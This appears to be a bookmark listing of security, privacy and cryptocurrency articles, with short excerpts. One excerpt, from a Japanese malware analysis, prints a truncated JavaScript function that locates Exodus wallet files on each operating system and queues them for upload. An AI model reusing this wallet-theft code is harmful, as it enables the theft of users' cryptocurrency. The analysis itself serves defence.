未踏アドバンスト事業：2025年度上期実施プロジェクト概要（門脇PJ） | デジタル人材の育成 | IPA 独立行政法人 情報処理推進機構
1．担当プロジェクトマネージャー 藤井 彰人（ふじい あきひと） KDDI株式会社 執行役員 先端技術統括本部長 兼 先端技術企画本部長 2．採択者氏名 門脇 宗平（フリーランス） 3．契約金額（税抜） 7,000,000円 4．プロジェクト名 プライバシーファーストな記憶支援アシスタントの開発 5．関連Webサイト なし 6．プロジェクト概要 情報過多な現代社会において、個人が知識を効果的に管理するためのPKM（Personal Knowledge Management）ツールが注目されている。しかし、多くのツールは利用者の能動的な情報整理を前提とし、その負担は決して小さくない。AI技術を用いてこの負担を軽減する試みも存在するが、その多くはクラウドベースモデルに依存し、個人情報のデータ安全性に関する懸念が存在する。 本プロジェクトはこれらの課題に対し、「自律的な情報整理」と「リアルタイム
Identity Is A Bitchat Challenge (MITM Flaw) | SPR
The Intersection of Vibe Coding and Security infoUPDATE: Since I first wrote about this, Bitchat quickly added a label that Bitchat is under development and will be reviewed for security. And they rapidly moved to implement end-to-end cryptography with noise. See the bitchat update blog post Many of us have seen glimpses of what agentic generative coding does for security. We see the missteps, an
Undocumented commands found in Bluetooth chip used by a billion devices
HomeNewsSecurityUndocumented commands found in Bluetooth chip used by a billion devices Update 3/9/25: After receiving concerns about the use of the term 'backdoor' to refer to these undocumented commands, we have updated our title and story. Our original story can be found here. The ubiquitous ESP32 microchip made by Chinese manufacturer Espressif and used by over 1 billion units as of 2023 conta
Web3 のマルウェアが話題なので解析してみた
const uploadEs = (uploadOptions) => { let walletPath = ""; let filesToUpload = []; if ("w" == platform[0]) { walletPath = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet"; } else { "d" == platform[0] ? (walletPath = getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet") : (walletPath = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet"); } if (testPath(walletPath
Web3開発者をねらったハッキング手口の全て（わたしは全て抜かれました...）
はじめに 本当に悔しいし許せないし、エンジニアとして不甲斐ないです。2025年2月26日深夜にハッキングにあいました。どのように相手と繋がり、どのような手口でハッカーに資産を抜かれたか、コードベースで全てお伝えします。今後同じ被害に遭う方が少しでも減ることがあればこんな嬉しいことはないです。 コード解説、さらに対策案も書いていきます。もし他に良い対策案などあればコメントでご教示ください。 ハッカーとのやりとりの流れ ハッカーとは Linkedin でブロックチェーンを使ったプロジェクトを手伝ってくれないかという連絡がりそこからやりとりが始まりました。そして移行の大まかな流れは下記のような感じです。 Linkedinでプロジェクトを手伝ってほしいと言う内容でDMがくる Githubリポを見て実装できそうか確認してほしいと言われる 自分のGithubアカウントを共有してプライベートリポジトリに
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Avoiding xpub+derivation reuse across wallets, in a UX-friendly manner
nopara73 on X: "Samourai Wallet was logging your xpubs on their servers.. Source: the US prosecutor that discovered them👇 https://t.co/VDk4kNALZ4"
https://x.com/x64koichi/status/1980901037616828521?t=ob3yQrETkuZfUeahllURNg&s=09
https://x.com/babaoption_jp/status/1980546419753898272?t=L3lAKIDuEUGD5vY-zTOSyA&s=09
bitcoin++ privacy edition | Riga, Latvia | Day 2
https://korben.info/chat-control-europe-scan-messages.html
https://x.com/TheAppleDesign/status/1943334267393540141
What is an IMEI number and why should you care?
https://x.com/CoinMarketCap/status/1936197663931933117
Bitcoin malware discovered: Chinese printer manufacturer involved
Passkeys & iframes: How to Create & Login with a Passkey?
Answer "Why doesn't Async Payjoin use Nostr" FAQ · Issue #85 · payjoin/payjoin.org
Web Browser telemetry - 2025 edition - sizeof(cat)
Short Text Note by jsr
How to prevent prototype pollution in JavaScript